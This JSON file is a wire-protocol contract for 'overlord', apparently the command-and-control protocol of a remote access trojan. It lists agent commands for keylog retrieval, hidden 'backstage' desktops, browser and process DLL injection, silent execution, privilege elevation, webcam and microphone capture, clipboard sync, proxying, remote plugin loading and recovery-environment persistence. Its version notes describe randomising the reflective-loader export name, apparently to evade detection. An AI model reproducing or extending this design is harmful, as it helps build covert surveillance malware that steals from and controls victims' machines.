overlord/protocol/wire-contract.json

{
  "$schema": "./wire-contract.schema.json",
  "schemaVersion": 2,
  "protocolVersion": 1,
  "encoding": "messagepack",
  "compatibility": "additive",
  "commandVersioning": {
    "defaultVersion": 1,
    "overrides": {
      "backstage_start_browser_injected": {
        "latestVersion": 3,
        "minVersion": 2,
        "changes": {
          "2": {
            "breaking": true,
            "summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
            "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
          },
          "3": {
            "breaking": true,
            "summary": "Remove the legacy fixed-export injection DLL; only the randomized-export Rust DLL is served",
            "migration": "v2 payloads are unchanged and remain valid. v1 is no longer supported: clients that require a DLL exporting the fixed ReflectiveLoader name are rejected at negotiation and must be upgraded to accept a DLL whose loader export is x followed by six lowercase hexadecimal digits"
          }
        }
      },
      "backstage_start_chrome_injected": {
        "latestVersion": 3,
        "minVersion": 2,
        "changes": {
          "2": {
            "breaking": true,
            "summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
            "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
          },
          "3": {
            "breaking": true,
            "summary": "Remove the legacy fixed-export injection DLL; only the randomized-export Rust DLL is served",
            "migration": "v2 payloads are unchanged and remain valid. v1 is no longer supported: clients that require a DLL exporting the fixed ReflectiveLoader name are rejected at negotiation and must be upgraded to accept a DLL whose loader export is x followed by six lowercase hexadecimal digits"
          }
        }
      },
      "backstage_start_process_injected": {
        "latestVersion": 3,
        "minVersion": 2,
        "changes": {
          "2": {
            "breaking": true,
            "summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
            "migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
          },
          "3": {
            "breaking": true,
            "summary": "Remove the legacy fixed-export injection DLL; only the randomized-export Rust DLL is served",
            "migration": "v2 payloads are unchanged and remain valid. v1 is no longer supported: clients that require a DLL exporting the fixed ReflectiveLoader name are rejected at negotiation and must be upgraded to accept a DLL whose loader export is x followed by six lowercase hexadecimal digits"
          }
        }
      }
    }
  },
  "serverToAgentMessageTypes": [
    "enrollment_challenge",
    "enrollment_status",
    "hello_ack",
    "ping",
    "pong",
    "command",
    "command_abort",
    "frame_ack",
    "plugin_event",
    "notification_config"
  ],
  "agentToServerMessageTypes": [
    "hello",
    "ping",
    "pong",
    "frame",
    "status",
    "console_output",
    "file_list_result",
    "file_download",
    "file_upload_result",
    "file_read_result",
    "file_search_result",
    "file_icon_result",
    "file_thumb_result",
    "file_dirsize_result",
    "file_peek_result",
    "file_hash_result",
    "command_result",
    "desktop_encoder_capabilities",
    "desktop_stream_stats",
    "desktop_cursor",
    "client_logs_result",
    "screenshot_result",
    "command_progress",
    "process_list_result",
    "process_icon_result",
    "script_result",
    "plugin_event",
    "notification",
    "keylog_file_list",
    "keylog_file_content",
    "keylog_clear_result",
    "keylog_delete_result",
    "keylog_permission_result",
    "voice_uplink",
    "desktop_audio_uplink",
    "webcam_devices",
    "backstage_clone_progress",
    "backstage_lookup_result",
    "backstage_browser_check_result",
    "backstage_installed_apps_result",
    "backstage_dxgi_status",
    "backstage_browser_launch_status",
    "backstage_window_list_result",
    "clipboard_content",
    "proxy_data",
    "proxy_close",
    "disconnect_info",
    "webrtc_p2p_answer",
    "webrtc_p2p_ice"
  ],
  "commands": [
    "agent_update",
    "backstage_browser_check",
    "backstage_enable_cursor",
    "backstage_enable_dxgi",
    "backstage_enable_keyboard",
    "backstage_enable_mouse",
    "backstage_enable_printwindow_fallback",
    "backstage_enable_uia",
    "backstage_installed_apps",
    "backstage_key_down",
    "backstage_key_up",
    "backstage_kill_all",
    "backstage_lookup",
    "backstage_mouse_down",
    "backstage_mouse_move",
    "backstage_mouse_up",
    "backstage_mouse_wheel",
    "backstage_request_keyframe",
    "backstage_select_display",
    "backstage_set_fps",
    "backstage_set_quality",
    "backstage_set_resolution",
    "backstage_start",
    "backstage_start_browser_injected",
    "backstage_start_chrome_injected",
    "backstage_start_process",
    "backstage_start_process_injected",
    "backstage_stop",
    "backstage_window_list",
    "client_logs_request",
    "clipboard_set",
    "clipboard_sync_start",
    "clipboard_sync_stop",
    "console_input",
    "console_resize",
    "console_start",
    "console_stop",
    "darwin_request_permissions",
    "desktop_audio_start",
    "desktop_audio_stop",
    "desktop_enable_cursor",
    "desktop_enable_keyboard",
    "desktop_enable_mouse",
    "desktop_encoder_capabilities",
    "desktop_key_down",
    "desktop_key_up",
    "desktop_mouse_down",
    "desktop_mouse_move",
    "desktop_mouse_up",
    "desktop_mouse_wheel",
    "desktop_request_keyframe",
    "desktop_select_display",
    "desktop_set_bitrate",
    "desktop_set_duplication",
    "desktop_set_fps",
    "desktop_set_profile",
    "desktop_set_quality",
    "desktop_set_resolution",
    "desktop_start",
    "desktop_stop",
    "desktop_text",
    "disconnect",
    "elevate",
    "file_chmod",
    "file_copy",
    "file_delete",
    "file_dirsize",
    "file_download",
    "file_execute",
    "file_hash",
    "file_icon",
    "file_list",
    "file_mkdir",
    "file_move",
    "file_peek",
    "file_read",
    "file_request_access",
    "file_search",
    "file_thumb",
    "file_upload",
    "file_upload_desktop",
    "file_upload_http",
    "file_write",
    "file_zip",
    "keylog_clear_all",
    "keylog_delete",
    "keylog_list",
    "keylog_request_permission",
    "keylog_retrieve",
    "plugin_load",
    "plugin_load_http",
    "plugin_unload",
    "privacy_start",
    "privacy_status",
    "privacy_stop",
    "process_icon",
    "process_kill",
    "process_list",
    "process_resume",
    "process_suspend",
    "proxy_close",
    "proxy_connect",
    "proxy_data",
    "reconnect",
    "screenshot",
    "script_exec",
    "silent_exec",
    "uninstall",
    "virtual_enable_cursor",
    "virtual_enable_keyboard",
    "virtual_enable_mouse",
    "virtual_key_down",
    "virtual_key_up",
    "virtual_kill_all",
    "virtual_mouse_down",
    "virtual_mouse_move",
    "virtual_mouse_up",
    "virtual_mouse_wheel",
    "virtual_request_keyframe",
    "virtual_set_fps",
    "virtual_set_quality",
    "virtual_start",
    "virtual_start_process",
    "virtual_stop",
    "virtual_window_list",
    "voice_capabilities",
    "voice_downlink",
    "voice_session_start",
    "voice_session_stop",
    "webcam_list",
    "webcam_select",
    "webcam_set_fps",
    "webcam_set_quality",
    "webcam_start",
    "webcam_stop",
    "webrtc_p2p_ice",
    "webrtc_p2p_offer",
    "webrtc_p2p_stop",
    "webrtc_publish",
    "webrtc_stop",
    "winre_install",
    "winre_probe",
    "winre_uninstall"
  ]
}